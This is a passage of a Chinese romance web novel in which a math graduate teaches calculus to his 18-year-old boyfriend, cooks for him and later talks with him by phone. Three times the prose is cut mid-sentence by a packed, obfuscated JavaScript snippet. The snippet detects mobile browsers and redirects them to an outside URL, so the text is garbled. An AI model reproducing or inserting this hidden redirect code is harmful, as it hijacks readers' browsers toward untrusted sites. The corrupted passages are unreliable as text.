盛熠蓦地僵住:“啊?” 钟瑾宁脸上的温度终于降了几分,说话也变得轻快:“我在大学读的是数学专业,有空的时候,就去图书馆自己做题。” 又道:“要是你对数学也感兴趣,我可以教你写高数和线性代数——或者你有什么意向的专业吗?这两门课也是大多数专业的必修课,提前学没什么坏处的。” 青年的眼眸亮亮的,在阳光下像流光溢彩的剔透琉璃,蕴着希冀的光芒。 盛熠的唇角抽动起来,差点没绷住表情,艰难地回答:“我……暂时没什么意向的专业。” 钟瑾宁的神色闪过了然,反过来宽慰他:“没关系,等分数出来了,再来研究大学和专业也来得及。” 盛熠欲言又止。 他该怎么告诉钟瑾宁,鼎盛集团在国内顶尖大学都设有奖学金赞助项目,时不时还捐栋楼,捐个图书馆。 什么大学什么专业,几乎都任他挑选。 盛熠握着钟瑾宁的手,语气凛然又真诚:“但我对高数和那什么代数有兴趣!哥哥,你教我吧。” “好啊。”钟瑾宁笑道,“我毕业了两年,不过这两门课的基础教材变动不大,我可以把我的教材和笔记借给你。” 盛熠捧场:“好!” 钟瑾宁越想越觉得可行——大学里那些小情侣谈恋爱也经常约图书馆一起学习,他和盛熠也可以啊。 这样健康又积极向上的恋爱,才适合十八岁的小朋友。 这样想着,钟瑾宁不知不觉对两人恋爱这件事又少了两分不自在,主动邀请:“我开了车过来,先回我住的地方拿教材,然后我们下午去市图书馆吧。” 盛熠听到自己的心破碎一地的声音,笑得比哭还难看:“去、去图书馆啊?” 钟瑾宁点头:“那儿学习氛围很好,提供单独的自习室。” 盛熠咬牙:“行,去。” 他高中距离市图书馆就两地铁站,一次没去过,现在高中毕业了,反而上赶着去图书馆学习了。 在单独的自习室,也算是有两人独处的空间。 行,当然行,怎么能说不行。 听到盛熠斩钉截铁一口答应,钟瑾宁微微笑起来,注视着少年的眼神愈发欣赏,潋滟生光。 被这样柔和的视线注视着,盛熠的脸上缓慢地升起一点热度,低咳一声:“那我们走吧。” “好。” 钟瑾宁开的是一辆中档商务型新能源车,价格不贵,但是内里座椅很舒服,收拾得也干净,有种很淡的草木香气。 盛熠上了副驾位,一双大长腿委屈地缩在空间里,理所当然的,往后调整了座椅到适合自己的程度。 车内的中控屏自动开机。 盛熠拿起手机,问:“哥哥,我可以联蓝牙放音乐吗?” 钟瑾宁点头:“可以。” 车辆启动,钟瑾宁开车很稳,盛熠捣鼓着手机,联上了车内系统的蓝牙。 出乎钟瑾宁的意料,车内流淌出来的不是动感十足的摇滚音乐,而是轻缓的蓝调。 盛熠注意到通风口挂着一个小粽子似的三角包,问:“哥哥,通风口这挂的是什么啊?” 钟瑾宁道:“是我姥姥做的草药香包,我不喜欢味道太浓的车载香薰,姥姥就晒了艾叶、薄荷一些草药,加了玫瑰和丁香,做成提神祛味的香包给我。” “咱姥姥还有这么一手呢,厉害啊。”盛熠夸,“怪不得我一上车就觉得特别好闻。” 他表现得太过自来熟,却不让人反感,钟瑾宁笑了起来:“我姥姥在每年端午都会做新的草药香包,我那儿还有一些,你要是喜欢,可以拿几个回去——放衣柜里、或者拿来当门上的装饰品都行。” 盛熠应:“好啊,给我一个就行。哥哥记得帮我谢谢姥姥。” 钟瑾宁也没多想:“好。” 他开着车,后知后觉,发现了一点问题。 要是帮盛熠转达感谢,这不就相当于告诉姥姥他身边出现了个小朋友的存在吗? 依姥姥的性子,肯定会打破砂锅问到底。 但盛熠也是出于礼貌…… “哥哥,我记得你的工牌上面写的部门是商务部。”盛熠的语气好奇,打断他的思绪,“商务部还招数学专业的学生吗?” “商务部招人不限专业,但我一开始没打算去商务部的。” 一提起来,钟瑾宁就忍不住有些郁闷:“我本来投的是数据分析部,但面试的那天,负责接引我的老师带我去错了楼层,我进了商务部的面试现场。” 当时的他坐在那儿,一个问题也答不上来,特别茫然——数据分析部还要研究客户关系管理?帮他内推的学长没说过啊? 面试官之一客客气气让他回去等消息,他以为保准没戏,还把简历另投了几家公司,结果收到了回音。 好消息:他的面试过了。 坏消息:公司通知他去商务部报道。 他特地发邮件联系了hr询问,hr坦言——那天他现场递交了简历给几位面试官,坐回去做自我介绍的时候,在场的人就发现他走错面试地方了,但都没吭声,觉得商务部缺他这样的人才。 “我误打误撞过了面试,进了商务部,想着先进来,后期申请转岗也行,没想到走不了了。” 钟瑾宁的心态好:“数据分析部不缺人,我进不去,好在商务部可以研究其他公司的财报、投资领域和意向项目,也挺有意思的,我就在这边一直做下去了。” 刚进公司时,安组长热衷于提溜他去各种饭局,美名其曰“栽培”“介绍人脉”。 他去了两次,被催着去端茶倒水和点菜敬酒,终于明白过来自己的定位是“花瓶”,实在不适应,不肯再去。 安组长被屡屡拒绝,发了火,让他一个实习生自己去完成正式职工的业务量,要是业绩不达标,就算是考核不通话,月底走人。 好在他的运气不错,通过几份合作回报率分析报告打动了一家大公司,顺顺利利地在月底前达成了目标业务量的两倍。 盛熠问:“那哥哥在商务部开心吗?” 开心吗? 钟瑾宁以前从未思考过这个问题——事情已经发生,既然无法改变,便只有接受和适应这两个选择。 他想了想,道:“开心的吧。毕竟我们公司在鼎盛集团的旗下,出名的福利好,再加上商务部给的工资高,我才能攒下钱买了这辆车。我姥姥住在乡下,我每隔半个月过去探望她,有车很方便。” 能让自己和家人过上更好的生活,会让人觉得付出的那份努力是值得的。 说话间,他的手臂搭在方向盘上,姿态随意且放松,加上衬衫和西裤的搭配,整个人更显得成熟。 盛熠看得口干舌燥,别开视线,默默翘起了长腿,挡住不该在此刻出现的反应。 车辆很快驶入了钟瑾宁租住的公寓楼下。 盛熠跟着钟瑾宁进电梯,问:“哥哥现在住的房子是自己买的吗?” “是租的。”钟瑾宁坦然道,“这边房价太贵了,我买不起。这间公寓是我爸妈同事的,说是租给我,其实就是象征性地收了一点钱。” 盛熠有点没想到:“同事?” 钟瑾宁轻嗯一声,解释:“我爸妈在亚马逊的热带雨林研究野生动物,他们的同事也是几年回不了一次国,知道我在这附近找房子,就把这处空着的公寓租给我了。” 电梯到达,钟瑾宁带盛熠进门。 是两室一厅的公寓,客厅面积不算大,但采光不错,照得地砖亮堂堂的。 钟瑾宁看了看手腕上手表的时间:“快中午了,我们简单吃个饭,下午去图书馆,可以吗?” 盛熠点头,下意识拿出手机,想看附近有什么外卖。 钟瑾宁却打开了冰箱,检查里面的食材,很自然地问:“你有什么忌口,或者什么不喜欢吃的吗?” 盛熠震惊:“你做饭吗?” 钟瑾宁道:“我会做一点家常菜。” 他以为盛熠是在担心他的厨艺,道:“我下班早的时候,还有周末都是自己做饭,做出来的味道比不上餐馆,但还是能吃的。” 主要因为钟瑾宁看今早上盛熠发来的那一桌早餐照片,猜想着盛熠是个不挑食的。 果不其然,盛熠立刻道:“我没有忌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129248|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,也不挑食,哥哥做什么我都吃。” “好。” 钟瑾宁摘下了手表,露出白玉似的手腕,又将两侧的袖口挽至小臂,取下了挂在冰箱侧边的围裙,给自己系上了。 盛熠的视线控制不住地黏上去。 薄衬衫和贴身的西裤本就勾勒身段,衬得青年腰细腿长,臀.丘浑圆,此刻那截腰身被围裙的细带轻轻一勒,更显得盈盈一握。 盛熠的喉结滚动,满脑子都是那截腰。 他的手掌虎口卡上去,能够正正好合上那道柔韧弧度。 他已经试过了。 钟瑾宁没发觉盛熠的火热目光,只专注着冰箱里的食材,取了两颗西红柿,又拿了一把嫩菜心。 盛熠很乖地道:“哥哥,你还要拿什么,我帮你拿。” 钟瑾宁便不客气地指挥他拿菜进厨房。 等食材都备齐了,钟瑾宁让盛熠去客厅自己玩,盛熠却不肯走。 盛熠道:“哥哥,我想看你做饭。” “做饭有什么好看的?” 钟瑾宁笑道,哄小孩似的:“去外面玩吧。WiFi密码是我名字首字母,小写,加12345。草药香包在书房,有几种味道,你可以挑挑自己喜欢的。” 他想起什么,又补道:“书房里的电脑不可以动,里面有一些我工作上的资料,其他的你都可以碰。” 盛熠眼巴巴地跟在他后面:“我不玩,我想给你打下手。” 钟瑾宁手腕倾斜,用两只筷子快而轻巧地搅拌着碗里黄澄澄的几颗蛋黄,道:“我一个人做就行,你在这儿反而会挡着我,出去吧。” 盛熠改口风:“那我跟着你学做饭,等以后周末的时候,你在家休息,我来给你做饭。” 这小孩怎么就想好周末也赖上他了? 钟瑾宁觉得好笑,赶他:“出去记得关厨房门。” 盛熠见他不为所动,只好委委屈屈地出去了。 公寓显然没有想过自己会在今天迎接客人,所有的房间都敞着门,毫不设防,一览无余。 盛熠踏进了卫生间。 他的目光贪婪地一寸寸扫过,看墙上横杆挂着的毛巾和浴巾,看洗漱台上杯子里的牙刷和牙膏,再望向洗面奶、刮胡刀和男士面霜,想象着钟瑾宁在早晨使用它们的模样。 浴室玻璃是透明的,里面的架子上摆放着几瓶沐浴露和洗发水。 盛熠的视线回来逡巡比对,通过摆放的方向,猜测着钟瑾宁会站的位置。 要是能亲眼验证就好了。 盛熠不无遗憾地踏出来。 公寓是两室一厅的格局,卧室和钟瑾宁本人一样的风格,透着干净简洁。 盛熠没敢进去,怕自己会做出难以克制的事,转去了被改成书房的另一间卧室。 实木书架上摆满了书籍,桌上放着一盏台灯和笔记本电脑,椅子上搭着一件外套——大概是钟瑾宁在这儿看书,觉得冷的时候用的。 盛熠抓起那件外套,轻轻凑近了,嗅了下。 这件外套是家居服,被钟瑾宁穿过几次,染上了他身上的一缕浅淡香气。 意识到这一点,盛熠抖着手,控制不住地将整张脸埋进了柔软的布料中,鼻尖像狗一样急切耸动,神色逐渐兴奋,整张脸迅速变得赤红,呼吸也急促起来。 好香、哥哥好香啊。 想趴在哥哥身上,闻他身上的味道。 但现在还不可以,会吓着哥哥的。 要再乖一点,再等待一段时间…… 少年的眼眸幽暗似狼,喉咙生出一股渴意,吞咽似的滑动。 · 钟瑾宁在厨房里切完番茄,忽然发现自己忘了在外面的冰箱里拿小葱,洗洗手,开门出了厨房。 他一抬眼,正好撞见盛熠从自己的书房里出来。 少年的眼眸湿漉漉的,脸颊泛着一层异样的红,手里握着手机。 手机的底端系着一只小小的三角形草药香包,一晃一晃的。 盛熠讨赏似的,主动道:“哥哥,我去了书房,没动你的电脑。” 钟瑾宁嗯了声,不怎么担心。 电脑有密码,少年解不开,书房里没什么其他重要东西。 他随口问:“挑好香包了啊,好闻吗?” “好闻的。” 少年的脸上露出一个羞涩而腼腆的笑,道:“很香,我很喜欢。谢谢哥哥。” 8. 约会 钟瑾宁做菜快,将番茄炒蛋、清炒菜心和酸汤肥牛端上了桌,还用高压锅炖了一锅土豆排骨,排骨炖得很烂,浸满了浓郁的汤汁,配米饭吃刚好。 他按三人份食量做的饭,结果全部清了盘,一扫而空。 但也看出少年吃不了辣,那盘黄灯笼辣椒酸汤肥牛吃得盛熠额角冒汗,脸都红了,嘶嘶地抽气:“好、好吃。” 钟瑾宁自认为做菜水平没那么高,但也忍不住为盛熠的捧场感到开心。 他记得冰箱里有一瓶凑起送费买的椰子水,起身去拿了过来,递给盛熠。 盛熠接过冒着冷气儿的椰子水,仰头一口气喝了一半,终于不抽气了,只是眼眸湿润黑亮,眼角还是红的,看起来有点可怜,咬字也含糊:“谢谢哥哥。” 更像在撒娇了。 钟瑾宁笑了笑,准备收拾桌面,这回少年抢着站了起来,道:“哥哥你休息,我来。” 盛熠显然没怎么做过这样的事,收拾碗筷的行为透着一种小心翼翼的笨拙,但是很听话,任钟瑾宁指挥。 同样的围裙,套在少年身上带来截然不同的感觉。 钟瑾宁端着水杯,倚靠在厨房门口,有种在欺负小孩的错觉。 盛熠显然不这么想,将厨房流理台都擦干净后,积极道:“哥哥检查。” 眼眸亮闪闪的,脸上写的全是——快表扬我。 钟瑾宁便走了圈,点头:“很干净。” 盛熠的唇角没压下去,身后仿佛有尾巴在摇:“哥哥你平时上班这么忙,我有空就过来帮你做卫生吧,做菜我也可以学的。” 钟瑾宁一顿。 他听同事们抱怨过自己的女性朋友——谈个恋爱就像被下了降头,千里迢迢过去给男朋友又是做饭又是打扫卫生,就连吵了架,和男朋友冷战也不忘把家务打理得井井有条。 盛熠怎么听起来也像这样的? 钟瑾宁委婉拒绝:“打扫卫生就不用了,这个房子不大,收拾起来不麻烦,我一个人就行。” “哦……” 盛熠的声音渐低,仿佛身后使劲摇晃的尾巴也沮丧地垂下,道:“我和哥哥差距太大了,不知道我对哥哥来说有什么用……” 钟瑾宁干巴巴地道:“我、我也不需要你有用啊。” 这句话仿佛让少年更不开心了。 盛熠闷不吭声,摘了自己身上的围裙。 钟瑾宁迟疑问:“你生气了吗?” “不是生气,是觉得自己好没用。”盛熠闷闷道,“什么都不会,不能成熟一点,让哥哥可以依靠。” 钟瑾宁哭笑不得,猜着是少年的自尊心在作祟,心里像有一支柔软的羽毛在轻挠,泛着痒,忍不住伸手掐了把盛熠的脸。 “年纪挺小,想得倒挺多。” 语气像在打趣幼儿园小朋友,气得盛熠炸毛了:“哥哥,我是你的男朋友!我已经成年了!” 钟瑾宁笑意不改,点头:“嗯,是我的小男朋友。” 他这一句,叫得盛熠冒出来的火气噌一下熄灭了,唇角快翘天上去。 在家里,钟瑾宁没其他顾虑,自然地牵住了盛熠的手掌,带他出厨房,哄道:“好了,别生气了。不用急着长大,也不用急着变成熟,你现在就挺好的。” 盛熠别扭问:“哥哥不会嫌弃我的年龄小吗?” “是觉得你年龄有点小。”钟瑾宁道,“但说不上嫌弃。” 盛熠垮了脸:“那你是不是后悔答应和我谈恋爱了?” 钟瑾宁看他一眼,语气含着无奈:“我要是后悔了,带你回家做什么?还会想教你高数题?” 盛熠第一次觉得数学这个词这么美妙,听起来如此让人心花怒放,上赶着道:“哥哥,那我们什么时候去图书馆?” 钟瑾宁啊了声:“市图书馆要预约,我忘了看今天还有没有名额了。” 他松开盛熠的手,去拿餐桌上的手机确认。 盛熠凑过来,和钟瑾宁一起看手机屏幕,问:“还有吗?” 官方公众号的网络信号缓慢加载,而后跳出今天日期的预约选项。 灰色,代表预约名额已满。 钟瑾宁生出懊恼:“没有了。” 盛熠差点笑出来,面上一本正经地安慰:“没关系。学习不拘泥于环境,哥哥,我们就在家学吧。” 钟瑾宁想想也行:“书房有打印机,可以给你打印练习题。” 怎么还有练习题啊? 盛熠笑不出来了。 钟瑾宁想从餐桌这儿搬一张椅子到书房去,盛熠上前一步,轻轻松松从他手里端过去了。 到了书房,盛熠把椅子放在另一把椅子旁边,低眸扫了一眼,自个儿咂摸出一丝甜意。 两人这样并排坐在一起,和做同桌有什么区别? 四舍五入,不就相当于他们在谈一场校园恋爱? 钟瑾宁在书架上找书,道:“我自己比对过几版高数教材,更喜欢斯图尔特微积分的版本,它从历史的起源引入相关的解法,很有趣。普林斯顿微积分也不错,讲解得特别细致,适合自学者。” 盛熠晕头转向。 什么斯,什么普? 钟瑾宁又回头问他:“你有什么偏向吗?是想要好玩一点的,还是想要更通俗易懂的?” 盛熠只好道:“我都可以,听哥哥的。” “好。” 钟瑾宁重新看向书架,眉尖轻轻蹙着,视线在几本教材之间逡巡,像是很为难该怎么选择,最后终于选定了一本,抽了出来。 盛熠看着他过来,心里突突地跳,试图挣扎一下:“哥哥,有没有简单一点的?” 钟瑾宁拉开盛熠身边的椅子坐下,将微积分教材推到两人中间,道:“本质是一样的,都很简单,你不用担心,零基础也可以学懂的。” 盛熠低头一看,两眼发直。 英文版。 他现在选斯多普还来得及吗? 那天在酒店,钟瑾宁从盛熠的钱夹里看到过他的学生证。 那所学校是市内数一数二的私立寄宿中学,师资力量强,录取要求苛刻,可以说来自全国的顶尖学生都争破了头想进去。 要是想砸钱通关系进去,只可能付出天文数字的代价。 理所当然的,钟瑾宁认定盛熠虽然看起来混了点,但成绩一定不错。 但毕竟今天属于两人的约会,学微积分是他们之间的趣味小游戏,不是为了为难人,钟瑾宁特意挑选的是入门的章节。 钟瑾宁说话的速度慢,语气轻而柔软,手指执着水笔,笔尖在白纸黑字上跳跃,时不时勾着要点。 盛熠努力地听着,跟着钟瑾宁的讲解,发现教材里的英文不重要,重要的是理解里面的数字符号和运算过程。 可怕的是,他觉得自己好像真的听懂了。 “是不是很简单?”钟瑾宁的眼眸闪着光,语气充满鼓励,“要不要做几道题试试?” 盛熠咬牙:“好。” 笔记本里的文件夹有钟瑾宁分门别类收集的学习资料,他很快选定了一页习题卷。 练习题的难度适中,适合给初学者建立信心和继续深挖的兴趣。 放在旁边置物架上的打印机发出滋滋滋的声响,吐出两页纸。 钟瑾宁给自己和盛熠一人发一张,热情邀请:“我们一起来做题吧。” 是国内大学随堂测验的习题卷,顶端一排的空白栏需要学生填写信息。 姓名: 学号: 盛熠在姓名那一栏随手写了个盛一,视线下移,停留在具体的题目上,整个人陷入了深深的沉思。 这个题目,和刚才学的内容,有半点关系? 少年握笔的手指,茫然地颤抖起来。 上天仿佛听到了他的控诉和召唤,摆放在桌面上的手机嗡嗡震动。 是盛熠的手机,屏幕显示有一通语音通话,来自备注【傅子程】。 “哥哥,我先去接个电话。” 盛熠立刻捧起手机,神情充满了【我好想做题但是这个电话该死的恰恰好在这个时间点打来了我不得不接】的遗憾懊恼。 钟瑾宁点头:“没事,去吧。” 盛熠拿着手机出了书房,还贴心地把房门掩上了,去了阳台接通电话。 通话传来朋友的询问:“盛哥,忙什么呢?” 盛熠的声音仔细听去,隐隐发飘:“在约会。” 对面的傅子程一下子来了兴致:“约会怎么样,心动吗?紧张吗?” 盛熠默然一瞬。 “心动。” 对着数学题,他的心率是一路飙升。 “紧张。” 心脏砰嗵直跳,紧张得都快蹦出来了,不知道该向钟瑾宁怎么解释自己好像听懂了但看题目却一点不会这件事。 盛熠喃喃:“这个约会简直刺激炸了。” 他向狐朋狗友们请教过追人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129249|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的秘诀,学习了一个劳什子“吊桥效应”——要把肾上腺素飙升的氛围和恋爱心动挂钩。 钟瑾宁有没有肾上腺素飙升,有没有恋爱心动感,他不知道。 他只知道,这个破微积分题再做下去,他人快没了。 傅子程盛赞:“嚯!盛哥不出手则已,一出手一鸣惊人啊!” 盛熠揉眉心:“所以找我什么事?” 说起正事,对面的傅子程严肃起来。 他是酒吧老板兼乐队主唱,道:“你让我找人查监控,看那天晚上还有没有其他人参与给你的好哥哥下药这事。查出来了,新招的调酒师手脚不干净,不仅私下在卖助兴药,还帮着下药到客人的酒里。这事怪我,我来收拾这人,给你说一声。” 他们自小就认识,知根知底,盛熠嗯一声:“行,知道了。” 两人又扯了几句,盛熠忽然想起来问傅子程这个准大学生:“你的微积分学得怎么样?” 傅子程不明所以:“高数?我挂过,怎么了?” “没事,当我什么都没问。” 盛熠痛苦闭眼,挂了通话。 他重新回到书房,钟瑾宁已经将自己的那份给写完了,在低头看盛熠那张只写了名字的习题卷。 听到动静,钟瑾宁抬起脸看来,漂亮的眼眸盛着细碎的亮光,盈盈流转,眼尾一点红痣,在玉白的脸颊上艳似朱砂。 美人掀眸,对他一笑:“回来了?” 盛熠忽然又觉得自己对着高数题可以再尝试一下。 做几道微积分,就能讨男朋友的欢心,难道不是稳赚不赔的买卖? 盛熠道:“哥哥,我有事要回酒吧一趟,我把卷子带回去,做好了,下次带给你成吗?” 钟瑾宁略微诧异,点头道:“我送你回去吧。” “不用,酒吧那边特别容易堵车,停车也不方便。哥哥你要是送我过去,一来一回很花时间。”盛熠认真道,“哥哥你今天上了班还来找我,很辛苦的,就留在家休息吧。” 钟瑾宁失笑:“也说不上辛苦。” 盛熠强硬道:“不行,你就留在家里。” 他的小男朋友还挺霸道? 钟瑾宁不觉得冒犯,只觉得有趣,让步道:“那我送你下楼。” 盛熠这回点头同意了,伸手要自己的那份试卷。 钟瑾宁把卷子递给他,好奇问:“你的名字怎么写的盛一?” 盛熠道:“我小时候不喜欢写我的名字,觉得熠字笔画太多,就写个盛一,后来写顺手了,就一直写的这个。” “盛、一。” 钟瑾宁的唇瓣轻启。 两个字在他的唇舌间温柔而轻缓地念了一遍。 钟瑾宁道:“很可爱。” 盛熠猝不及防被这么一夸,脸上蓦地燃起热度。 钟瑾宁笑了笑:“走吧,我送你。” 盛熠带着那张试卷,跟着钟瑾宁下了楼。 路边等车的过程中,盛熠眸光灼亮,问:“哥哥,今天是我们的第一次约会,我可以抱一下你吗?” 他们站在行道树下的摇晃光影中,并不显眼。 钟瑾宁犹豫了瞬,点点头。 得到了允许,盛熠的眸底闪动细碎的光亮,是毫不掩饰的欣喜笑意。 少年张开手臂,将钟瑾宁结结实实地揽进自己的怀中,彼此的身体毫无间隙地紧贴在一起。 他又低了头,将脸颊眷恋地贴在钟瑾宁的颈侧。 “哥哥,你也抱我呀。” 盛熠撒娇。 钟瑾宁的身体微微僵硬,踌躇片刻,试探性的,手指轻轻搭上了盛熠的后背。 少年的脊背宽阔,肌肉似山脊微隆,硬邦邦地贴在他的掌心下,传递着蓬勃的、难以忽视的滚烫热量。 侵略感很强,像蛰伏的野兽。 无一不在提醒着他——这是一具已经发育成熟的男性身体。 钟瑾宁短暂地恍了下神。 网约车到了路边,滴滴两声。 “啊,车来了。” 盛熠有些遗憾地放开了钟瑾宁,道:“我先走了,哥哥,下次见。” 钟瑾宁回过神,垂下手臂,指尖像被烫到般微蜷,嗯了声。 盛熠自信道:“我下次见你,就把做好的卷子带过来,你等着看吧,肯定满分。” 钟瑾宁心中那一丝怪异情绪被悄然打散,轻轻笑起来:“好,我等着盛一同学的满分卷。” 9. 连麦 盛熠回去以后,又是查资料又是逮着傅子程问,终于把一张卷子的题给做完了。 他连下次见面都等不及,迫不及待地拍照发给了钟瑾宁。 【哥哥,我写好了[墨镜][墨镜]】 盛熠走以后,钟瑾宁看时间还早,索性下载了最近的国际数学锦标赛的题目,自己做题研究。 手机因为消息亮了屏。 钟瑾宁从题海中醒过来,拿起手机,先看到时间。 晚上七点半。 他的视线下移,点开盛熠发来的消息。 钟瑾宁:【第二题和第四题错了。】 而后发去一张他的解题思路。 草稿纸上,青年的字迹漂亮工整,步骤严谨,环环相扣。 盛熠放大照片,发现草稿纸还压着张卷子,露出来的几行题目如同神秘符咒,一看就不是他写的那种基础题。 完。 盛熠心想。 盛熠:【哥哥,你会不会觉得我很笨啊?】 钟瑾宁是觉得盛熠有一点笨,但是仅存的一丢丢情商,让他觉得这句话如果说出来,可能会伤到小男友的自尊心。 钟瑾宁谨慎措辞:【还好。】 对面发来两个大哭的黄豆脸表情。 怎么哭了? 钟瑾宁捧着手机,有些无措。 他都说了还好,这还不够吗? 盛熠:【我这样笨笨的,哥哥还会想和我说话吗?】 钟瑾宁:【会的。】 两个字不假思索地发出去,钟瑾宁一怔,神色划过一丝懊恼。 他这样回,不就相当于承认觉得盛熠笨了吗? 盛熠:【那我可以和哥哥语音吗?】 钟瑾宁不喜欢接电话,但刚还在安慰盛熠不会不想和他说话,总不好现在就反口,稍稍犹豫了下,回:【好。】 通话邀请立刻弹了出来,像就等着他这一句允许。 “哥哥。” 少年黏糊糊的咬字透过音筒传出来,带着电流般的磁性,酥酥麻麻的。 钟瑾宁揉了下耳垂,慢吞吞地应了声。 “你刚也在做题吗?我要是想和你说话,会不会打扰你啊?” 又在撒娇了。 钟瑾宁想。 “不会的,我也是做着玩。” 他问:“你已经忙完回去了吗?” 盛熠道:“回来了,在喝酸奶。楼下便利店临期酸奶打折,买一送一。” 钟瑾宁将手机放在一边,拿起笔,打算继续做没写完的题,闻言问:“燕麦口味的?” “是啊,哥哥你怎么知道的?” “你发的照片里出现过两次。” “因为好喝,而且经常打折。便利店员和我关系好,看快卖完了,还会帮我留几瓶。下次我请哥哥喝。” “好啊。” 两人有一搭没一搭地闲聊着,钟瑾宁一心二用将竞赛题给写完了,敲着电脑键盘,查阅答案。 盛熠带着耳机,在百无聊赖地转笔玩,在另一边听到了声响,问:“哥哥还在做题吗?” 钟瑾宁如实回:“做完了,刚在对答案。最后一道题有七种解法,我只写出了四种,在看其他思路,想知道自己缺在哪里。” 盛熠手中的笔转掉了。 他又急急忙忙道:“哥哥,你能想出四种解法很厉害了,哪里也不缺!你比我聪明多了!” 钟瑾宁微微笑起来:“我也算不上聪明。等你的基础课程学完了,也可以试试这些题的,很有趣。” 不。 他这辈子都不会觉得这些题有趣的。 盛熠这么想着,道:“那要是我写不出来,我在旁边陪哥哥做题可以吗?” 钟瑾宁敲键盘的动作一顿,迟疑问:“你是不是对微积分不太感兴趣?” “感兴趣的,我想了解哥哥,想知道哥哥为什么喜欢数学。”盛熠叹气,“是我太笨了,虽然做了微积分的题,但还是不太能领会到。” 钟瑾宁有些惊愕,没想到盛熠是因为想了解他所以答应做题。 他的视线从笔记本屏幕上的解法分析挪开,低头看向手机。 上面是他给盛熠新改的备注。 【盛一】 钟瑾宁的神色变得柔和,不自知地放轻了语气:“想了解我什么,可以直接问我的。” 盛熠便问:“那哥哥能不能告诉我,你喜欢数学什么?” 钟瑾宁自己也没思考过这个问题,想了想,道:“也许是因为数学有清晰的定义和界限,在已知条件下,题目的答案是确定的、唯一的,让我觉得有安全感。” 题目给的条件,便是条件。 不需要他费劲儿去研究是不是明面一层意思,实际上又是另一层意思,只需要顺着给定的条件,往后一层层地推定。 “数学题会给定一个答案,让你知道自己是做对了,还是做错了。不像有些人说话,总要把真实的含义藏着,让人听不懂他到底想表达什么,也不知道自己有没有猜对正确答案。” 钟瑾宁想起了自己的上司。 上次的办公室单独谈话,明明是安组长语焉不详,说话绕弯子,最后却对他露出了一副我对你很失望的表情。 奇怪,不把话说清楚的明明是安组长,可为什么他没听懂,反而像是做错了事的那一个。 盛熠琢磨:“哥哥喜欢数学,是因为数学是绝对的、纯粹的——题目给出的所有条件,都会引导到一个答案上。是这样吗?” 钟瑾宁笑了笑:“是。还有一点,题目推导的解法有很多方式,但都拥有同一个正确答案。不变中的变化,这方面也很有意思。” 盛熠恍然大悟:“原来在哥哥眼里,数学是这样的啊,听起来是很有趣。” 钟瑾宁生出一种奇异的感觉,心脏涨涨热热,说不出的充盈感。 就像是他一个人在图书馆做题,周边的人群来来去去,惊诧有之,迷惑有之,背地里嘲他是个怪人有之。 还有的人当面阴阳怪气:“你都是专业第一了,没人比得过你的成绩,国奖也是你的,没必要还装得这么努力吧?” 他只觉得迷茫。 他不是为了成绩或者奖学金,在这儿做题的。 这样想着,他如实说了,却只看到了对方眼里的轻蔑。 突然有个少年单肩背包闯了进来,风风火火地拉开他身边的椅子坐下,闷头写了几道题,扔了笔,趴桌子上看他,苦恼地问这些题到底有什么好,让他这么着迷。 他回答了,少年笑起来:“这样啊。” ——仿佛在说,我理解你了。 钟瑾宁放下了手中的笔,问:“那你呢。说了这么久,你好像还没有告诉我你喜欢什么,觉得什么有趣?” “我啊……” 盛熠的两条长腿交叠,压在桌面上。 木椅后倾,一晃一晃的,只有一条椅子腿作为支撑点。 少年仰着头,出神地盯着有渗水痕迹的天花板。 “觉得什么都很无聊。” 所有的所有,都没劲透了。 盛熠道:“所以没什么目标,也没什么兴趣爱好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129250|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟瑾宁诧异:“打鼓呢?” 盛熠笑道:“打发时间用的。” 钟瑾宁问:“那你有什么让你觉得轻松自在的事吗?” 盛熠唔一声,回忆着:“有吧。我在初三那一年,喜欢坐公交车的最后一排听歌。” 钟瑾宁想象不出来,那个在舞台上敲出爆裂鼓点的少年,安安静静靠坐在公交车最后一排的位置上戴耳机听歌的画面。 钟瑾宁问:“那你现在还会想这样做吗?” 摇摇晃晃的椅子骤然停住了。 盛熠听出别的意思,问:“哥哥要和我一起坐公交车听歌吗?” 钟瑾宁嗯了声:“你陪我做了数学题,我也想和你一起体验你喜欢做的事。” 像忽然收到了一个意想不到的礼物,盛熠的心跳加速,下意识想坐正,身体失去平衡,差点摔下椅子。 他用手臂撑住了桌面,急急追问:“可以啊,哥哥想和我约什么时候?” 钟瑾宁道:“明天就可以。” 他本打算只给自己放这半天假,明天就回公司,现在觉得,再休息一天也不错。 盛熠脸上的笑容根本收敛不住:“那我们就约明天?” 钟瑾宁道:“好。你以前常坐的是哪路公交车?” 